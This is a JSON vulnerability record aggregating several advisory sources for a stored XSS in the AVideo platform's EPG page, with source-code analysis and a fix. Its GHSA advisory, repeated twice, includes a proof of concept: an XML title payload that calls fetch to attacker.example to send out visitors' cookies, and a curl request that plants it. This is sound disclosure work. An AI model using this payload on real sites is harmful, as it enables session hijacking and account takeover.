{"id":"CVE-2026-39367","aliases":["EUVD-2026-19879","GHSA-rqp3-gf5h-mrqx"],"status":"published","title":"WWBN AVideo has Stored XSS via Malicious EPG XML Program Titles in AVideo EPG Page","description":"WWBN AVideo is an open source video platform. In versions 26.0 and prior, AVideo's EPG (Electronic Program Guide) feature parses XML from user-controlled URLs and renders programme titles directly into HTML without any sanitization or escaping. A user with upload permission can set a video's epg_link to a malicious XML file whose \u003ctitle\u003e elements contain JavaScript. This payload executes in the browser of any unauthenticated visitor to the public EPG page, enabling session hijacking and account takeover.","severity":{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00203,"percentile":0.10312,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"cwes":["CWE-79"],"published":"2026-04-07T19:22:07Z","modified":"2026-10-28T02:31:08Z","affected":[{"source":"ghsa","ecosystem":"Packagist","package":"wwbn/avideo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"26.0"}]}]},{"source":"osv","ecosystem":"Packagist","package":"wwbn/avideo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"26.0"}]}],"versions":["10.4","10.8","11","11.1","11.1.1","11.5","11.6","12.4","14.3","14.3.1","14.4","18.0","21.0","22.0","24.0","25.0","26.0"]}],"products":[{"vendor":"wwbn","product":"avideo"}],"references":[{"url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-rqp3-gf5h-mrqx","tags":["x_refsource_CONFIRM","exploit","Third Party Advisory","advisory","web"]},{"url":"https://github.com/WWBN/AVideo/commit/e0212add4aad0f1e97758a4b4fdc57df58ce68e8","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-39367","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-rqp3-gf5h-mrqx"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/39xxx/CVE-2026-39367.json","tags":["advisory"]},{"url":"https://github.com/WWBN/AVideo","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-39367","title":"WWBN AVideo has Stored XSS via Malicious EPG XML Program Titles in AVideo EPG Page","description":"WWBN AVideo is an open source video platform. In versions 26.0 and prior, AVideo's EPG (Electronic Program Guide) feature parses XML from user-controlled URLs and renders programme titles directly into HTML without any sanitization or escaping. A user with upload permission can set a video's epg_link to a malicious XML file whose \u003ctitle\u003e elements contain JavaScript. This payload executes in the browser of any unauthenticated visitor to the public EPG page, enabling session hijacking and account takeover.","status":"published","published":"2026-04-07T19:22:07.732Z","modified":"2026-04-08T17:47:40.548Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:20:02.662847Z"}],"euvd":[{"id":"EUVD-2026-19879","description":"WWBN AVideo is an open source video platform. In versions 26.0 and prior, AVideo's EPG (Electronic Program Guide) feature parses XML from user-controlled URLs and renders programme titles directly into HTML without any sanitization or escaping. A user with upload permission can set a video's epg_link to a malicious XML file whose \u003ctitle\u003e elements contain JavaScript. This payload executes in the browser of any unauthenticated visitor to the public EPG page, enabling session hijacking and account takeover.","status":"published","published":"2026-04-07T19:22:07Z","modified":"2026-04-08T17:47:40Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T19:24:31.776051Z"}],"ghsa":[{"id":"GHSA-rqp3-gf5h-mrqx","title":"WWBN AVideo has Stored XSS via Malicious EPG XML Program Titles in AVideo EPG Page","description":"## Summary\n\nAVideo's EPG (Electronic Program Guide) feature parses XML from user-controlled URLs and renders programme titles directly into HTML without any sanitization or escaping. A user with upload permission can set a video's `epg_link` to a malicious XML file whose `\u003ctitle\u003e` elements contain JavaScript. This payload executes in the browser of any unauthenticated visitor to the public EPG page, enabling session hijacking and account takeover.\n\n## Details\n\nThe vulnerability spans three files in the data flow:\n\n**1. Entry point — `objects/videoAddNew.json.php:117-119`**\n\nThe `epg_link` parameter is stored with only a URL format check:\n\n```php\nif (empty($_POST['epg_link']) || isValidURL($_POST['epg_link'])) {\n    $obj-\u003esetEpg_link($_POST['epg_link']);\n}\n```\n\nThis requires `User::canUpload()` (line 10) — not admin, just basic upload permission.\n\n**2. XML parsing — `objects/EpgParser.php:321`**\n\nProgramme titles are extracted as raw strings with no sanitization:\n\n```php\n$this-\u003eepgdata[$grouper ?: 0] = [\n    'title' =\u003e (string) $element-\u003etitle,\n    // ...\n];\n```\n\n**3. Sink — `plugin/PlayerSkins/epg.php:343-351`**\n\nProgramme titles are interpolated directly into HTML output without `htmlspecialchars()` or any escaping:\n\n```php\n} else if ($width \u003c= $minimumWidth1Dot) {\n    $text = \"\u003cabbr title=\\\"{$program['title']}\\\"\u003e.\u003c/abbr\u003e\";          // attribute injection\n} else if ($width \u003c= $minimumWidth) {\n    $text = \"\u003cabbr title=\\\"{$program['title']}\\\"\u003e\u003csmall ...\";        // attribute injection\n} else if ($width \u003c= $minimumSmallFont) {\n    $text = \"\u003csmall class=\\\"small-font\\\"\u003e{$program['title']}\u003cdiv\u003e...\"; // HTML injection\n} else {\n    $text = \"{$program['title']}\u003cdiv\u003e...\";                            // HTML injection\n}\n```\n\nNotably, the channel `display-name` **is** sanitized via `safeString()` at line 151, but programme titles are not — an apparent oversight.\n\nThe EPG page (`epg.php`) requires no authentication to access, and the rendered output is cached at line 634 (`ObjectYPT::setCache`), so the XSS payload persists in cache even if the original malicious XML is later removed.\n\n## PoC\n\n**Step 1:** Host a malicious XMLTV file at an attacker-controlled URL:\n\n```xml\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n\u003ctv\u003e\n  \u003cchannel id=\"ch1\"\u003e\n    \u003cdisplay-name\u003eTest Channel\u003c/display-name\u003e\n  \u003c/channel\u003e\n  \u003cprogramme start=\"20260404060000 +0000\" stop=\"20260404070000 +0000\" channel=\"ch1\"\u003e\n    \u003ctitle\u003e\u003c![CDATA[\u003cimg src=x onerror=fetch('https://attacker.example/steal?c='+document.cookie)\u003e]]\u003e\u003c/title\u003e\n  \u003c/programme\u003e\n\u003c/tv\u003e\n```\n\n**Step 2:** Create a video with the malicious EPG link (requires upload permission):\n\n```bash\ncurl -s -b 'PHPSESSID=UPLOAD_USER_SESSION' \\\n  'https://target.example/objects/videoAddNew.json.php' \\\n  -d 'title=LiveStream\u0026videoLink=https://example.com/stream.m3u8\u0026epg_link=https://attacker.example/evil.xml\u0026categories_id=1'\n```\n\n**Step 3:** Any visitor (unauthenticated) browsing the EPG page triggers the XSS:\n\n```\nhttps://target.example/plugin/PlayerSkins/epg.php\n```\n\nThe `\u003cimg onerror\u003e` payload executes in the browser of every visitor, exfiltrating cookies and session tokens.\n\n## Impact\n\n- **Session hijacking**: Any visitor's session cookies are exfiltrated, including administrators\n- **Account takeover**: Stolen admin sessions allow full platform control\n- **Persistent**: The XSS payload is cached server-side and fires for every page visitor without further interaction\n- **Wide blast radius**: The EPG page is publicly accessible with no authentication required\n\n## Recommended Fix\n\nEscape all programme data before rendering in HTML. In `plugin/PlayerSkins/epg.php`, apply `htmlspecialchars()` to programme titles before interpolation:\n\n```php\n// Around line 340, before the width checks:\n$safeTitle = htmlspecialchars($program['title'], ENT_QUOTES, 'UTF-8');\n\n// Then use $safeTitle instead of $program['title']:\n} else if ($width \u003c= $minimumWidth1Dot) {\n    $text = \"\u003cabbr title=\\\"{$safeTitle}\\\"\u003e.\u003c/abbr\u003e\";\n} else if ($width \u003c= $minimumWidth) {\n    $text = \"\u003cabbr title=\\\"{$safeTitle}\\\"\u003e\u003csmall class=\\\"duration\\\"\u003e{$minutes} Min\u003c/small\u003e\u003c/abbr\u003e\";\n} else if ($width \u003c= $minimumSmallFont) {\n    $text = \"\u003csmall class=\\\"small-font\\\"\u003e{$safeTitle}\u003cdiv\u003e\u003csmall class=\\\"duration\\\"\u003e{$minutes} Min\u003c/small\u003e\u003c/div\u003e\u003c/small\u003e\";\n} else {\n    $text = \"{$safeTitle}\u003cdiv\u003e\u003csmall class=\\\"duration\\\"\u003e{$minutes} Min\u003c/small\u003e\u003c/div\u003e\";\n}\n```\n\nAdditionally, consider sanitizing all EPG XML fields at parse time in `EpgParser.php:316-330` to defend in depth.","status":"published","published":"2026-04-08T00:08:36Z","modified":"2026-04-08T00:08:38Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:39:51.193071Z"}],"nvd":[{"id":"CVE-2026-39367","description":"WWBN AVideo is an open source video platform. In versions 26.0 and prior, AVideo's EPG (Electronic Program Guide) feature parses XML from user-controlled URLs and renders programme titles directly into HTML without any sanitization or escaping. A user with upload permission can set a video's epg_link to a malicious XML file whose \u003ctitle\u003e elements contain JavaScript. This payload executes in the browser of any unauthenticated visitor to the public EPG page, enabling session hijacking and account takeover.","status":"published","published":"2026-04-07T20:16:30.677Z","modified":"2026-07-24T21:10:00.143Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:12:13.535987Z"}],"osv":[{"id":"CVE-2026-39367","title":"WWBN AVideo has Stored XSS via Malicious EPG XML Program Titles in AVideo EPG Page","description":"WWBN AVideo is an open source video platform. In versions 26.0 and prior, AVideo's EPG (Electronic Program Guide) feature parses XML from user-controlled URLs and renders programme titles directly into HTML without any sanitization or escaping. A user with upload permission can set a video's epg_link to a malicious XML file whose \u003ctitle\u003e elements contain JavaScript. This payload executes in the browser of any unauthenticated visitor to the public EPG page, enabling session hijacking and account takeover.","status":"published","published":"2026-04-07T19:22:07.732Z","modified":"2026-10-28T02:31:08.061008814Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:45:03.040464Z"},{"id":"GHSA-rqp3-gf5h-mrqx","title":"WWBN AVideo has Stored XSS via Malicious EPG XML Program Titles in AVideo EPG Page","description":"## Summary\n\nAVideo's EPG (Electronic Program Guide) feature parses XML from user-controlled URLs and renders programme titles directly into HTML without any sanitization or escaping. A user with upload permission can set a video's `epg_link` to a malicious XML file whose `\u003ctitle\u003e` elements contain JavaScript. This payload executes in the browser of any unauthenticated visitor to the public EPG page, enabling session hijacking and account takeover.\n\n## Details\n\nThe vulnerability spans three files in the data flow:\n\n**1. Entry point — `objects/videoAddNew.json.php:117-119`**\n\nThe `epg_link` parameter is stored with only a URL format check:\n\n```php\nif (empty($_POST['epg_link']) || isValidURL($_POST['epg_link'])) {\n    $obj-\u003esetEpg_link($_POST['epg_link']);\n}\n```\n\nThis requires `User::canUpload()` (line 10) — not admin, just basic upload permission.\n\n**2. XML parsing — `objects/EpgParser.php:321`**\n\nProgramme titles are extracted as raw strings with no sanitization:\n\n```php\n$this-\u003eepgdata[$grouper ?: 0] = [\n    'title' =\u003e (string) $element-\u003etitle,\n    // ...\n];\n```\n\n**3. Sink — `plugin/PlayerSkins/epg.php:343-351`**\n\nProgramme titles are interpolated directly into HTML output without `htmlspecialchars()` or any escaping:\n\n```php\n} else if ($width \u003c= $minimumWidth1Dot) {\n    $text = \"\u003cabbr title=\\\"{$program['title']}\\\"\u003e.\u003c/abbr\u003e\";          // attribute injection\n} else if ($width \u003c= $minimumWidth) {\n    $text = \"\u003cabbr title=\\\"{$program['title']}\\\"\u003e\u003csmall ...\";        // attribute injection\n} else if ($width \u003c= $minimumSmallFont) {\n    $text = \"\u003csmall class=\\\"small-font\\\"\u003e{$program['title']}\u003cdiv\u003e...\"; // HTML injection\n} else {\n    $text = \"{$program['title']}\u003cdiv\u003e...\";                            // HTML injection\n}\n```\n\nNotably, the channel `display-name` **is** sanitized via `safeString()` at line 151, but programme titles are not — an apparent oversight.\n\nThe EPG page (`epg.php`) requires no authentication to access, and the rendered output is cached at line 634 (`ObjectYPT::setCache`), so the XSS payload persists in cache even if the original malicious XML is later removed.\n\n## PoC\n\n**Step 1:** Host a malicious XMLTV file at an attacker-controlled URL:\n\n```xml\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n\u003ctv\u003e\n  \u003cchannel id=\"ch1\"\u003e\n    \u003cdisplay-name\u003eTest Channel\u003c/display-name\u003e\n  \u003c/channel\u003e\n  \u003cprogramme start=\"20260404060000 +0000\" stop=\"20260404070000 +0000\" channel=\"ch1\"\u003e\n    \u003ctitle\u003e\u003c![CDATA[\u003cimg src=x onerror=fetch('https://attacker.example/steal?c='+document.cookie)\u003e]]\u003e\u003c/title\u003e\n  \u003c/programme\u003e\n\u003c/tv\u003e\n```\n\n**Step 2:** Create a video with the malicious EPG link (requires upload permission):\n\n```bash\ncurl -s -b 'PHPSESSID=UPLOAD_USER_SESSION' \\\n  'https://target.example/objects/videoAddNew.json.php' \\\n  -d 'title=LiveStream\u0026videoLink=https://example.com/stream.m3u8\u0026epg_link=https://attacker.example/evil.xml\u0026categories_id=1'\n```\n\n**Step 3:** Any visitor (unauthenticated) browsing the EPG page triggers the XSS:\n\n```\nhttps://target.example/plugin/PlayerSkins/epg.php\n```\n\nThe `\u003cimg onerror\u003e` payload executes in the browser of every visitor, exfiltrating cookies and session tokens.\n\n## Impact\n\n- **Session hijacking**: Any visitor's session cookies are exfiltrated, including administrators\n- **Account takeover**: Stolen admin sessions allow full platform control\n- **Persistent**: The XSS payload is cached server-side and fires for every page visitor without further interaction\n- **Wide blast radius**: The EPG page is publicly accessible with no authentication required\n\n## Recommended Fix\n\nEscape all programme data before rendering in HTML. In `plugin/PlayerSkins/epg.php`, apply `htmlspecialchars()` to programme titles before interpolation:\n\n```php\n// Around line 340, before the width checks:\n$safeTitle = htmlspecialchars($program['title'], ENT_QUOTES, 'UTF-8');\n\n// Then use $safeTitle instead of $program['title']:\n} else if ($width \u003c= $minimumWidth1Dot) {\n    $text = \"\u003cabbr title=\\\"{$safeTitle}\\\"\u003e.\u003c/abbr\u003e\";\n} else if ($width \u003c= $minimumWidth) {\n    $text = \"\u003cabbr title=\\\"{$safeTitle}\\\"\u003e\u003csmall class=\\\"duration\\\"\u003e{$minutes} Min\u003c/small\u003e\u003c/abbr\u003e\";\n} else if ($width \u003c= $minimumSmallFont) {\n    $text = \"\u003csmall class=\\\"small-font\\\"\u003e{$safeTitle}\u003cdiv\u003e\u003csmall class=\\\"duration\\\"\u003e{$minutes} Min\u003c/small\u003e\u003c/div\u003e\u003c/small\u003e\";\n} else {\n    $text = \"{$safeTitle}\u003cdiv\u003e\u003csmall class=\\\"duration\\\"\u003e{$minutes} Min\u003c/small\u003e\u003c/div\u003e\";\n}\n```\n\nAdditionally, consider sanitizing all EPG XML fields at parse time in `EpgParser.php:316-330` to defend in depth.","status":"published","published":"2026-04-08T00:08:36Z","modified":"2026-04-08T00:27:16.577482Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:46:56.281047Z"}]}}
